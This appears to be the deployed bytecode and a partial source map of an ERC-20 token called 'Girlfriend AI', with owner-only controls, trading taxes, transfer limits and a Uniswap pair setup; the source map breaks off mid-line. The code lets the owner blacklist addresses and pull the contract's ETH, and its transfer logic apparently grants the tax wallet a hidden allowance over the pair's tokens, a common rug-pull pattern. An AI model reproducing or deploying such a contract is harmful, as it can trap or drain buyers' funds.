0x608060405260043610610129575f3560e01c8063751039fc116100a8578063a9059cbb1161006d578063a9059cbb1461034b578063bf474bed1461036a578063c4c1c94f1461037f578063c9567bf91461039e578063ce31a06b146103b2578063dd62ed3e146103c6575f80fd5b8063751039fc146102bb5780637d1db4a5146102cf5780638da5cb5b146102e45780638f9a55c01461030a57806395d89b411461031f575f80fd5b8063313ce567116100ee578063313ce567146102005780633bbac5791461021b5780634b32e6ed1461025257806370a0823114610273578063715018a6146102a7575f80fd5b806306fdde0314610134578063095ea7b31461017b5780630faee56f146101aa57806318160ddd146101cd57806323b872dd146101e1575f80fd5b3661013057005b5f80fd5b34801561013f575f80fd5b5060408051808201909152600d81526c4769726c667269656e6420414960981b60208201525b60405161017291906116a4565b60405180910390f35b348015610186575f80fd5b5061019a6101953660046116fd565b61040a565b6040519015158152602001610172565b3480156101b5575f80fd5b506101bf60125481565b604051908152602001610172565b3480156101d8575f80fd5b506101bf610420565b3480156101ec575f80fd5b5061019a6101fb366004611727565b610441565b34801561020b575f80fd5b5060405160098152602001610172565b348015610226575f80fd5b5061019a610235366004611765565b6001600160a01b03165f9081526004602052604090205460ff1690565b34801561025d575f80fd5b5061027161026c366004611794565b6104a8565b005b34801561027e575f80fd5b506101bf61028d366004611765565b6001600160a01b03165f9081526001602052604090205490565b3480156102b2575f80fd5b50610271610538565b3480156102c6575f80fd5b506102716105a9565b3480156102da575f80fd5b506101bf600f5481565b3480156102ef575f80fd5b505f546040516001600160a01b039091168152602001610172565b348015610315575f80fd5b506101bf60105481565b34801561032a575f80fd5b506040805180820190915260048152634746416960e01b6020820152610165565b348015610356575f80fd5b5061019a6103653660046116fd565b61065d565b348015610375575f80fd5b506101bf60115481565b34801561038a575f80fd5b50610271610399366004611794565b610669565b3480156103a9575f80fd5b506102716106ed565b3480156103bd575f80fd5b50610271610a97565b3480156103d1575f80fd5b506101bf6103e0366004611854565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f610416338484610aec565b5060015b92915050565b5f61042d6009600a61197f565b61043c906461f313f88061198d565b905090565b5f61044d848484610c0f565b61049e843361049985604051806060016040528060288152602001611b21602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061130d565b610aec565b5060019392505050565b5f546001600160a01b031633146104da5760405162461bcd60e51b81526004016104d1906119a4565b60405180910390fd5b5f5b8151811015610534575f60045f8484815181106104fb576104fb6119d9565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790556001016104dc565b5050565b5f546001600160a01b031633146105615760405162461bcd60e51b81526004016104d1906119a4565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105d25760405162461bcd60e51b81526004016104d1906119a4565b6105de6009600a61197f565b6105ed906461f313f88061198d565b600f556105fc6009600a61197f565b61060b906461f313f88061198d565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61063b6009600a61197f565b61064a906461f313f88061198d565b60405190815260200160405180910390a1565b5f610416338484610c0f565b5f546001600160a01b031633146106925760405162461bcd60e51b81526004016104d1906119a4565b5f5b815181101561053457600160045f8484815181106106b4576106b46119d9565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055600101610694565b5f546001600160a01b031633146107165760405162461bcd60e51b81526004016104d1906119a4565b601454600160a01b900460ff16156107705760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d1565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107ba9030906107ab6009600a61197f565b610499906461f313f88061198d565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082e91906119ed565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561088d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108b191906119ed565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091f91906119ed565b601480546001600160a01b039283166001600160a01b03199091161790556013541663f305d7194730610966816001600160a01b03165f9081526001602052604090205490565b5f806109795f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109df573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a049190611a08565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610a59573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7d9190611a33565b506014805462ff00ff60a01b19166201000160a01b179055565b5f546001600160a01b03163314610ac05760405162461bcd60e51b81526004016104d1906119a4565b60405133904780156108fc02915f818181858888f19350505050158015610ae9573d5f803e3d5ffd5b50565b6001600160a01b038316610b4e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d1565b6001600160a01b038216610baf5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d1565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c735760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d1565b6001600160a01b038216610cd55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d1565b5f8111610d365760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d1565b6014545f90600160b01b900460ff161580610d5a5750601454600160a81b900460ff165b15610e12576001600160a01b0384165f90815260016020526040902054610d82908390611a52565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610db1908390611a65565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e049086815260200190565b60405180910390a350505050565b5f546001600160a01b03858116911614801590610e3c57505f546001600160a01b03848116911614155b156111b657600e545f03610e6457600a54600e5411610e5d57600654610e61565b6008545b90505b600e5415610e715750600d545b6001600160a01b0384165f9081526004602052604090205460ff16158015610eb157506001600160a01b0383165f9081526004602052604090205460ff16155b610eb9575f80fd5b6014546001600160a01b038581169116148015610ee457506013546001600160a01b03848116911614155b8015610f0857506001600160a01b0383165f9081526003602052604090205460ff16155b156110b857600f54821115610f5f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d1565b604080518082019091526001600160a01b03808616825260055416602082015261100f90610f8f6009600a61197f565b610f9e906461f313f88061198d565b841115610fe857610fcb6032610fb66009600a61197f565b610fc5906461f313f88061198d565b90611345565b610fd7906105dc61198d565b610fe3906101f4611a65565b6113aa565b610ff8600a610fb660098261197f565b611004906103e861198d565b610fe3906064611a65565b5060105482611032856001600160a01b03165f9081526001602052604090205490565b61103c9190611a65565b111561108a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d1565b600a54600e541161109d576006546110a1565b6008545b600e80549192505f6110b283611a78565b91905055505b6014546001600160a01b0384811691161480156110de57506001600160a01b0384163014155b156110fd57600b54600e54116110f6576007546110fa565b6009545b90505b305f90815260016020526040902054601454600160a81b900460ff1615801561113357506014546001600160a01b038581169116145b80156111485750601454600160b01b900460ff165b156111b45760165443111561115c575f6015555b601154811180156111705750600c54600e54115b156111925761119261118d84611188846012546113bd565b6113bd565b6113d1565b61119b47611541565b60158054905f6111aa83611a78565b9091555050436016555b505b5f8115611247576111d260646111cc8486611578565b906115f6565b305f908152600160205260409020549091506111ee9082611345565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061123e9085815260200190565b60405180910390a35b6001600160a01b0385165f908152600160205260409020546112699084611637565b6001600160a01b0386165f908152600160205260409020556112ac61128e8483611637565b6001600160a01b0386165f9081526001602052604090205490611345565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6112f58685611637565b60405190815260200160405180910390a35050505050565b5f81848411156113305760405162461bcd60e51b81526004016104d191906116a4565b505f61133c8486611a52565b95945050505050565b5f806113518385611a65565b9050838110156113a35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d1565b9392505050565b815160208301515f916104169184610aec565b5f8183116113cb57826113a3565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611417576114176119d9565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561146e573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061149291906119ed565b816001815181106114a5576114a56119d9565b6001600160a01b0392831660209182029290920101526013546114cb9130911684610aec565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906115039085905f90869030904290600401611a90565b5f604051808303815f87803b15801561151a575f80fd5b505af115801561152c573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610534573d5f803e3d5ffd5b5f825f0361158757505f61041a565b5f611592838561198d565b90508261159f8583611b01565b146113a35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d1565b5f6113a383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611678565b5f6113a383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061130d565b5f81836116985760405162461bcd60e51b81526004016104d191906116a4565b505f61133c8486611b01565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610ae9575f80fd5b80356116f8816116d9565b919050565b5f806040838503121561170e575f80fd5b8235611719816116d9565b946020939093013593505050565b5f805f60608486031215611739575f80fd5b8335611744816116d9565b92506020840135611754816116d9565b929592945050506040919091013590565b5f60208284031215611775575f80fd5b81356113a3816116d9565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156117a5575f80fd5b823567ffffffffffffffff808211156117bc575f80fd5b818501915085601f8301126117cf575f80fd5b8135818111156117e1576117e1611780565b8060051b604051601f19603f8301168101818110858211171561180657611806611780565b604052918252848201925083810185019188831115611823575f80fd5b938501935b8285101561184857611839856116ed565b84529385019392850192611828565b98975050505050505050565b5f8060408385031215611865575f80fd5b8235611870816116d9565b91506020830135611880816116d9565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156118d957815f19048211156118bf576118bf61188b565b808516156118cc57918102915b93841c93908002906118a4565b509250929050565b5f826118ef5750600161041a565b816118fb57505f61041a565b8160018114611911576002811461191b57611937565b600191505061041a565b60ff84111561192c5761192c61188b565b50506001821b61041a565b5060208310610133831016604e8410600b841016171561195a575081810a61041a565b611964838361189f565b805f19048211156119775761197761188b565b029392505050565b5f6113a360ff8416836118e1565b808202811582820484141761041a5761041a61188b565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156119fd575f80fd5b81516113a3816116d9565b5f805f60608486031215611a1a575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611a43575f80fd5b815180151581146113a3575f80fd5b8181038181111561041a5761041a61188b565b8082018082111561041a5761041a61188b565b5f60018201611a8957611a8961188b565b5060010190565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b81811015611ae05784516001600160a01b031683529383019391830191600101611abb565b50506001600160a01b03969096166060850152505050608001529392505050565b5f82611b1b57634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220225714fe51c27047d252ad2c29600d76e9007684341507a2d4d7bde6e99f082864736f6c63430008190033

3592:8641:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5591:83;;;;;;;;;;-1:-1:-1;5661:5:0;;;;;;;;;;;;-1:-1:-1;;;5661:5:0;;;;5591:83;;;;;;;:::i;:::-;;;;;;;;6575:161;;;;;;;;;;-1:-1:-1;6575:161:0;;;;;:::i;:::-;;:::i;:::-;;;1197:14:1;;1190:22;1172:41;;1160:2;1145:18;6575:161:0;1032:187:1;4722:46:0;;;;;;;;;;;;;;;;;;;1370:25:1;;;1358:2;1343:18;4722:46:0;1224:177:1;6028:95:0;;;;;;;;;;;;;:::i;6742:314::-;;;;;;;;;;-1:-1:-1;6742:314:0;;;;;:::i;:::-;;:::i;5773:83::-;;;;;;;;;;-1:-1:-1;5773:83:0;;4360:1;2009:36:1;;1997:2;1982:18;5773:83:0;1867:184:1;11141:83:0;;;;;;;;;;-1:-1:-1;11141:83:0;;;;;:::i;:::-;-1:-1:-1;;;;;11209:7:0;11188:4;11209:7;;;:4;:7;;;;;;;;;11141:83;10977:158;;;;;;;;;;-1:-1:-1;10977:158:0;;;;;:::i;:::-;;:::i;:::-;;6129:117;;;;;;;;;;-1:-1:-1;6129:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6222:16:0;6195:7;6222:16;;;:7;:16;;;;;;;6129:117;1617:148;;;;;;;;;;;;;:::i;11547:159::-;;;;;;;;;;;;;:::i;4553:47::-;;;;;;;;;;;;;;;;1403:79;;;;;;;;;;-1:-1:-1;1441:7:0;1468:6;1403:79;;-1:-1:-1;;;;;1468:6:0;;;3712:51:1;;3700:2;3685:18;1403:79:0;3566:203:1;4607:49:0;;;;;;;;;;;;;;;;5680:87;;;;;;;;;;-1:-1:-1;5752:7:0;;;;;;;;;;;;-1:-1:-1;;;5752:7:0;;;;5680:87;;6252:167;;;;;;;;;;-1:-1:-1;6252:167:0;;;;;:::i;:::-;;:::i;4663:52::-;;;;;;;;;;;;;;;;10811:160;;;;;;;;;;-1:-1:-1;10811:160:0;;;;;:::i;:::-;;:::i;9979:826::-;;;;;;;;;;;;;:::i;11328:109::-;;;;;;;;;;;;;:::i;6425:144::-;;;;;;;;;;-1:-1:-1;6425:144:0;;;;;:::i;:::-;-1:-1:-1;;;;;6533:19:0;;;6506:7;6533:19;;;:12;:19;;;;;;;;:28;;;;;;;;;;;;;6425:144;6575:161;6650:4;6667:39;304:10;6690:7;6699:6;6667:8;:39::i;:::-;-1:-1:-1;6724:4:0;6575:161;;;;;:::o;6028:95::-;6081:7;4418:13;4360:1;4418:2;:13;:::i;:::-;4403:28;;:12;:28;:::i;:::-;6101:14;;6028:95;:::o;6742:314::-;6840:4;6857:36;6867:6;6875:9;6886:6;6857:9;:36::i;:::-;6904:122;6913:6;304:10;6935:90;6974:6;6935:90;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6935:20:0;;;;;;:12;:20;;;;;;;;304:10;6935:34;;;;;;;;;;:38;:90::i;:::-;6904:8;:122::i;:::-;-1:-1:-1;7044:4:0;6742:314;;;;;:::o;10977:158::-;1530:6;;-1:-1:-1;;;;;1530:6:0;304:10;1530:22;1522:67;;;;-1:-1:-1;;;1522:67:0;;;;;;;:::i;:::-;;;;;;;;;11046:6:::1;11041:87;11062:6;:13;11058:1;:17;11041:87;;;11113:5;11095:4;:15;11100:6;11107:1;11100:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;11095:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;11095:15:0;:23;;-1:-1:-1;;11095:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;11077:3:0::1;11041:87;;;;10977:158:::0;:::o;1617:148::-;1530:6;;-1:-1:-1;;;;;1530:6:0;304:10;1530:22;1522:67;;;;-1:-1:-1;;;1522:67:0;;;;;;;:::i;:::-;1724:1:::1;1708:6:::0;;1687:40:::1;::::0;-1:-1:-1;;;;;1708:6:0;;::::1;::::0;1687:40:::1;::::0;1724:1;;1687:40:::1;1755:1;1738:19:::0;;-1:-1:-1;;;;;;1738:19:0::1;::::0;;1617:148::o;11547:159::-;1530:6;;-1:-1:-1;;;;;1530:6:0;304:10;1530:22;1522:67;;;;-1:-1:-1;;;1522:67:0;;;;;;;:::i;:::-;4418:13:::1;4360:1;4418:2;:13;:::i;:::-;4403:28;::::0;:12:::1;:28;:::i;:::-;11600:12;:22:::0;4418:13:::1;4360:1;4418:2;:13;:::i;:::-;4403:28;::::0;:12:::1;:28;:::i;:::-;11633:14;:22:::0;11671:27:::1;4418:13;4360:1;4418:2;:13;:::i;:::-;4403:28;::::0;:12:::1;:28;:::i;:::-;11671:27;::::0;1370:25:1;;;1358:2;1343:18;11671:27:0::1;;;;;;;11547:159::o:0;6252:167::-;6330:4;6347:42;304:10;6371:9;6382:6;6347:9;:42::i;10811:160::-;1530:6;;-1:-1:-1;;;;;1530:6:0;304:10;1530:22;1522:67;;;;-1:-1:-1;;;1522:67:0;;;;;;;:::i;:::-;10881:6:::1;10876:88;10897:5;:12;10893:1;:16;10876:88;;;10948:4;10931;:14;10936:5;10942:1;10936:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10931:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10931:14:0;:21;;-1:-1:-1;;10931:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;10911:3:0::1;10876:88;;9979:826:::0;1530:6;;-1:-1:-1;;;;;1530:6:0;304:10;1530:22;1522:67;;;;-1:-1:-1;;;1522:67:0;;;;;;;:::i;:::-;10041:11:::1;::::0;-1:-1:-1;;;10041:11:0;::::1;;;10040:12;10032:48;;;::::0;-1:-1:-1;;;10032:48:0;;6544:2:1;10032:48:0::1;::::0;::::1;6526:21:1::0;6583:2;6563:18;;;6556:30;6622:25;6602:18;;;6595:53;6665:18;;10032:48:0::1;6342:347:1::0;10032:48:0::1;10091:15;:104:::0;;-1:-1:-1;;;;;;10091:104:0::1;10142:42;10091:104:::0;;::::1;::::0;;;10206:58:::1;::::0;10223:4:::1;::::0;4418:13:::1;4360:1;4418:2;:13;:::i;:::-;4403:28;::::0;:12:::1;:28;:::i;10206:58::-;10309:15;;;;;;;;;-1:-1:-1::0;;;;;10309:15:0::1;-1:-1:-1::0;;;;;10309:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10291:55:0::1;;10369:4;10389:15;;;;;;;;;-1:-1:-1::0;;;;;10389:15:0::1;-1:-1:-1::0;;;;;10389:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10291:131;::::0;-1:-1:-1;;;;;;10291:131:0::1;::::0;;;;;;-1:-1:-1;;;;;7180:15:1;;;10291:131:0::1;::::0;::::1;7162:34:1::0;7232:15;;7212:18;;;7205:43;7097:18;;10291:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10275:13;:147:::0;;-1:-1:-1;;;;;10275:147:0;;::::1;-1:-1:-1::0;;;;;;10275:147:0;;::::1;;::::0;;10434:15:::1;::::0;::::1;:31;10473:21;10518:4;10538:24;10518:4:::0;-1:-1:-1;;;;;6222:16:0;6195:7;6222:16;;;:7;:16;;;;;;;6129:117;10538:24:::1;10577:1;10593::::0;10609:7:::1;1441::::0;1468:6;-1:-1:-1;;;;;1468:6:0;;1403:79;10609:7:::1;10434:223;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10434:223:0;;;-1:-1:-1;;;;;7618:15:1;;;10434:223:0::1;::::0;::::1;7600:34:1::0;7650:18;;;7643:34;;;;7693:18;;;7686:34;;;;7736:18;;;7729:34;7800:15;;;7779:19;;;7772:44;10631:15:0::1;7832:19:1::0;;;7825:35;7534:19;;10434:223:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10675:13:0::1;::::0;10706:15:::1;::::0;10668:71:::1;::::0;-1:-1:-1;;;10668:71:0;;-1:-1:-1;;;;;10706:15:0;;::::1;10668:71;::::0;::::1;8356:51:1::0;-1:-1:-1;;8423:18:1;;;8416:34;10675:13:0;::::1;::::0;-1:-1:-1;10668:29:0::1;::::0;8329:18:1;;10668:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10750:11:0::1;:18:::0;;-1:-1:-1;;;;10779:18:0;-1:-1:-1;;;10779:18:0;;;9979:826::o;11328:109::-;1530:6;;-1:-1:-1;;;;;1530:6:0;304:10;1530:22;1522:67;;;;-1:-1:-1;;;1522:67:0;;;;;;;:::i;:::-;11378:51:::1;::::0;11386:10:::1;::::0;11407:21:::1;11378:51:::0;::::1;;;::::0;::::1;::::0;;;11407:21;11386:10;11378:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11328:109::o:0;7062:336::-;-1:-1:-1;;;;;7155:19:0;;7147:68;;;;-1:-1:-1;;;7147:68:0;;8945:2:1;7147:68:0;;;8927:21:1;8984:2;8964:18;;;8957:30;9023:34;9003:18;;;8996:62;-1:-1:-1;;;9074:18:1;;;9067:34;9118:19;;7147:68:0;8743:400:1;7147:68:0;-1:-1:-1;;;;;7234:21:0;;7226:68;;;;-1:-1:-1;;;7226:68:0;;9350:2:1;7226:68:0;;;9332:21:1;9389:2;9369:18;;;9362:30;9428:34;9408:18;;;9401:62;-1:-1:-1;;;9479:18:1;;;9472:32;9521:19;;7226:68:0;9148:398:1;7226:68:0;-1:-1:-1;;;;;7305:19:0;;;;;;;:12;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;7358:32;;1370:25:1;;;7358:32:0;;1343:18:1;7358:32:0;;;;;;;7062:336;;;:::o;7404:2569::-;-1:-1:-1;;;;;7492:18:0;;7484:68;;;;-1:-1:-1;;;7484:68:0;;9753:2:1;7484:68:0;;;9735:21:1;9792:2;9772:18;;;9765:30;9831:34;9811:18;;;9804:62;-1:-1:-1;;;9882:18:1;;;9875:35;9927:19;;7484:68:0;9551:401:1;7484:68:0;-1:-1:-1;;;;;7571:16:0;;7563:64;;;;-1:-1:-1;;;7563:64:0;;10159:2:1;7563:64:0;;;10141:21:1;10198:2;10178:18;;;10171:30;10237:34;10217:18;;;10210:62;-1:-1:-1;;;10288:18:1;;;10281:33;10331:19;;7563:64:0;9957:399:1;7563:64:0;7655:1;7646:6;:10;7638:64;;;;-1:-1:-1;;;7638:64:0;;10563:2:1;7638:64:0;;;10545:21:1;10602:2;10582:18;;;10575:30;10641:34;10621:18;;;10614:62;-1:-1:-1;;;10692:18:1;;;10685:39;10741:19;;7638:64:0;10361:405:1;7638:64:0;7745:11;;7713:14;;-1:-1:-1;;;7745:11:0;;;;7744:12;;:22;;-1:-1:-1;7760:6:0;;-1:-1:-1;;;7760:6:0;;;;7744:22;7740:209;;;-1:-1:-1;;;;;7799:13:0;;;;;;:7;:13;;;;;;:22;;7815:6;;7799:22;:::i;:::-;-1:-1:-1;;;;;7783:13:0;;;;;;;:7;:13;;;;;;:38;;;;7850:11;;;;;;;:20;;7864:6;;7850:20;:::i;:::-;-1:-1:-1;;;;;7836:11:0;;;;;;;:7;:11;;;;;;;:34;;;;7890:26;;;;;;;;;;7909:6;1370:25:1;;1358:2;1343:18;;1224:177;7890:26:0;;;;;;;;7931:7;7404:2569;;;:::o;7740:209::-;1441:7;1468:6;-1:-1:-1;;;;;7963:15:0;;;1468:6;;7963:15;;;;:32;;-1:-1:-1;1441:7:0;1468:6;-1:-1:-1;;;;;7982:13:0;;;1468:6;;7982:13;;7963:32;7959:1584;;;8015:9;;8026:1;8015:12;8012:117;;8068:15;;8058:9;;:25;8057:55;;8098:14;;8057:55;;;8085:12;;8057:55;8047:66;;8012:117;8146:9;;:11;8143:73;;-1:-1:-1;8187:12:0;;8143:73;-1:-1:-1;;;;;8239:10:0;;;;;;:4;:10;;;;;;;;8238:11;:24;;;;-1:-1:-1;;;;;;8254:8:0;;;;;;:4;:8;;;;;;;;8253:9;8238:24;8230:33;;;;;;8290:13;;-1:-1:-1;;;;;8282:21:0;;;8290:13;;8282:21;:55;;;;-1:-1:-1;8321:15:0;;-1:-1:-1;;;;;8307:30:0;;;8321:15;;8307:30;;8282:55;:83;;;;-1:-1:-1;;;;;;8343:22:0;;;;;;:18;:22;;;;;;;;8341:24;8282:83;8278:510;;;8405:12;;8395:6;:22;;8387:60;;;;-1:-1:-1;;;8387:60:0;;11236:2:1;8387:60:0;;;11218:21:1;11275:2;11255:18;;;11248:30;11314:27;11294:18;;;11287:55;11359:18;;8387:60:0;11034:349:1;8387:60:0;8466:93;;;;;;;;;-1:-1:-1;;;;;8466:93:0;;;;;8480:10;;;8466:93;;;;;;4418:13;4360:1;4418:2;:13;:::i;:::-;4403:28;;:12;:28;:::i;:::-;8493:6;:15;;:65;;8539:15;8551:2;4418:13;4360:1;4418:2;:13;:::i;:::-;4403:28;;:12;:28;:::i;:::-;8539:11;;:15::i;:::-;8534:20;;:4;:20;:::i;:::-;:24;;8555:3;8534:24;:::i;:::-;8466:6;:93::i;8493:65::-;8514:15;8526:2;4418:13;4360:1;8526:2;4418:13;:::i;8514:15::-;8509:20;;:4;:20;:::i;:::-;:24;;8530:3;8509:24;:::i;8466:93::-;;8612:14;;8602:6;8586:13;8596:2;-1:-1:-1;;;;;6222:16:0;6195:7;6222:16;;;:7;:16;;;;;;;6129:117;8586:13;:22;;;;:::i;:::-;:40;;8578:79;;;;-1:-1:-1;;;8578:79:0;;11590:2:1;8578:79:0;;;11572:21:1;11629:2;11609:18;;;11602:30;11668:28;11648:18;;;11641:56;11714:18;;8578:79:0;11388:350:1;8578:79:0;8697:15;;8687:9;;:25;8686:55;;8727:14;;8686:55;;;8714:12;;8686:55;8761:9;:11;;8676:66;;-1:-1:-1;8761:9:0;:11;;;:::i;:::-;;;;;;8278:510;8811:13;;-1:-1:-1;;;;;8805:19:0;;;8811:13;;8805:19;:43;;;;-1:-1:-1;;;;;;8828:20:0;;8843:4;8828:20;;8805:43;8802:152;;;8890:16;;8880:9;;:26;8879:58;;8922:15;;8879:58;;;8908:13;;8879:58;8869:69;;8802:152;9017:4;8968:28;6222:16;;;:7;:16;;;;;;9043:6;;-1:-1:-1;;;9043:6:0;;;;9042:7;:30;;;;-1:-1:-1;9059:13:0;;-1:-1:-1;;;;;9053:19:0;;;9059:13;;9053:19;9042:30;:45;;;;-1:-1:-1;9076:11:0;;-1:-1:-1;;;9076:11:0;;;;9042:45;9038:494;;;9127:13;;9112:12;:28;9108:90;;;9177:1;9165:9;:13;9108:90;9242:17;;9219:20;:40;:74;;;;;9275:18;;9263:9;;:30;9219:74;9216:169;;;9316:69;9333:51;9337:6;9345:38;9349:20;9371:11;;9345:3;:38::i;:::-;9333:3;:51::i;:::-;9316:16;:69::i;:::-;9404:35;9417:21;9404:12;:35::i;:::-;9458:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;9504:12:0;9488:13;:28;9038:494;7997:1546;7959:1584;9553:17;9587:10;;9584:214;;9625:27;9648:3;9625:18;:6;9636;9625:10;:18::i;:::-;:22;;:27::i;:::-;9706:4;9690:22;;;;:7;:22;;;;;;9613:39;;-1:-1:-1;9690:37:0;;9613:39;9690:26;:37::i;:::-;9683:4;9667:22;;;;:7;:22;;;;;;;:60;;;;9747:39;;-1:-1:-1;;;;;9747:39:0;;;;;;;9776:9;1370:25:1;;1358:2;1343:18;;1224:177;9747:39:0;;;;;;;;9584:214;-1:-1:-1;;;;;9822:13:0;;;;;;:7;:13;;;;;;:25;;9840:6;9822:17;:25::i;:::-;-1:-1:-1;;;;;9808:13:0;;;;;;:7;:13;;;;;:39;9870:38;9886:21;:6;9897:9;9886:10;:21::i;:::-;-1:-1:-1;;;;;9870:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;9858:11:0;;;;;;;:7;:11;;;;;:50;;;;9924:41;;;9943:21;:6;9954:9;9943:10;:21::i;:::-;9924:41;;1370:25:1;;;1358:2;1343:18;9924:41:0;;;;;;;7473:2500;;7404:2569;;;:::o;2802:190::-;2888:7;2924:12;2916:6;;;;2908:29;;;;-1:-1:-1;;;2908:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2948:9:0;2960:5;2964:1;2960;:5;:::i;:::-;2948:17;2802:190;-1:-1:-1;;;;;2802:190:0:o;2471:179::-;2529:7;;2561:5;2565:1;2